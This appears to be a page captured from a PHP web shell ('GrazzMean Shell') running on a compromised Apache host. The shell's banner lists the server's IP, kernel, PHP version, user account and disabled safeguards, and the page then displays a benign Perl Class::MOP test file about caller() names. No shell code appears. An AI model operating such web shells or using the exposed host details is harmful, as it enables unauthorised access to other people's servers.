shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Moose/t/cmop/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.142.119.166
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : subname.t
use strict;
use warnings;

use Test::More;

use Class::MOP;

{

    package Origin;
    sub bar { ( caller(0) )[3] }

    package Foo;
}

my $Foo = Class::MOP::Class->initialize('Foo');

$Foo->add_method( foo => sub { ( caller(0) )[3] } );

is_deeply(
    [ Class::MOP::get_code_info( $Foo->get_method('foo')->body ) ],
    [ "Foo", "foo" ],
    "subname applied to anonymous method",
);

is( Foo->foo, "Foo::foo", "caller() aggrees" );

$Foo->add_method( bar => \&Origin::bar );

is( Origin->bar, "Origin::bar", "normal caller() operation in unrelated class" );

is_deeply(
    [ Class::MOP::get_code_info( $Foo->get_method('foo')->body ) ],
    [ "Foo", "foo" ],
    "subname not applied if a name already exists",
);

is( Foo->bar, "Origin::bar", "caller aggrees" );

is( Origin->bar, "Origin::bar", "unrelated class untouched" );

done_testing;
© 2025 GrazzMean